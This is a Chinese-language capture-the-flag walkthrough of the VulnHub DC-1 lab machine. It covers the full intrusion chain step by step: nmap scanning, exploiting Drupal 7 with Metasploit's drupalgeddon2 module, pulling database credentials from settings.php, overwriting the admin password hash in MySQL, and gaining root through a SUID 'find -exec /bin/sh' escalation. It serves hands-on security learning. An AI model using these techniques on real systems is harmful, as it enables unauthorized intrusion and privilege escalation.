发现一个靶机,来学习一下
下载地址:https://www.vulnhub.com/entry/dc-1,292/
准备 kali攻击机×1 靶机DC-1×1 靶机要和kali在同一个局域网里
信息搜集 打开虚拟机 发现需要登录 打开kali进入root用户 直接扫
可以在设置里看一下渗透机的MAC地址 从而判断渗透机的ip是多少 上nmap 扫一下看看
1 nmap -sS -sV -Pn -n 192.168.174.128
我们可以看到 22 80 111 这些端口是开放的 80端口对应的是web服务 可以先去瞅瞅 百度了解一波↓↓↓
Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成 然后,再来看看版本
1 nmap -sS -sV -A -Pn -n -p- 192.168.174.128
使用的是Drupal 7 或者你也可以使用插件wappalyzer
接下来思路就很明了了 找一下相关的漏洞来利用 基于搜索引擎的某度黑客(#^.^#)
1 2 msfconsole #启动 search drupal #查找有关漏洞
某度找了一圈,发现有个Vulnerability(漏洞)正好针对Drupal 7 那么,接下来就是Exploit(漏洞利用)环节了
1 2 use exploit/unix/webapp/drupal_drupalgeddon2 show options
看来是可行的 返回了一个session
1 2 set rhosts 192.168.174.128 run
flag 1 接下来看一下目录 发现有flag1.txt
1 2 Every good CMS needs a config file - and so do you. 每一个好的CMS都需要一个配置文件,你也一样。
flag 2 根据flag1.txt的提示 跑去某度找了一下Drupal的目录结构 Drupal默认配置文件在 /var/www/sites/default/settings.php
打开看一下
1 cat /var/www/sites/default/settings.php
1 2 3 4 5 6 * flag2 * Brute force and dictionary attacks aren't the * only ways to gain access (and you WILL need access). * What can you do with these credentials? 暴力破解和字典攻击不是获得权限的唯一方法(你可能将要进入的) 你可以用这些认证做什么呢?
flag 3 获得flag2的同时,也获得了数据库账号和密码 做到这里突然想到 其实一开始可以传个大马上去的 后来又想了想,也可以不传 先做着试试吧 用python反弹一个交互式shell 登录MySQL数据库
1 2 python -c 'import pty; pty.spawn("/bin/bash")' mysql -udbuser -p #password:R0ck3t
进入数据库肯定要先查询用户了
1 2 show databases; use drupaldb;
密码被数据库加密了 这个时候修改用户admin的密码即可 因为数据库的密码都是加密状态的 所以我们用同样的加密方法生成新密码的hash值并且更新到数据库、
参考:http://drupalchina.cn/node/2128
1 2 3 php scripts/password-hash.sh night #生成新密码night password: night hash: $S$DG7uGw5ymTluwrt4CxxTyYuNBD/.If3LxpxJC4Fge4cGPzpuubsQ
得到新密码的hash值 然后进入mysql数据库
1 mysql -udbuser -p #password:R0ck3t
1 update drupaldb.users set pass="$S$DG7uGw5ymTluwrt4CxxTyYuNBD/.If3LxpxJC4Fge4cGPzpuubsQ" where name="admin";
然后我们打开浏览器 在网页Log in 登录成功 点击左上角Find content
找到flag3
1 Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
flag 4
说起来这个命令我可太熟悉了 linux作业帮别人写了不知道多少遍 当时还不懂事还纳闷有啥用^_^ 然后进入目录查看flag4
1 2 3 Can you use this same method to find or access the flag in root? Probably. But perhaps it's not that easy. Or maybe it is?
flag 5 涉及到SUID提权 了解了一下 发现需要找到可以提权可行性文件 尝试find
1 find / -perm -u=s -type f 2>/dev/null
1 2 3 4 5 find / -name night -exec "/bin/sh" \; whoami cd /root ls cat thefinalflag.txt
1 2 3 4 5 6 7 Well done!!!! Hopefully you've enjoyed this and learned some new skills. You can let me know what you thought of this little journey by contacting me via Twitter - @DCAU7
逆风的方向,更适合飞翔, 我不怕千万人阻挡 ,只怕自己投降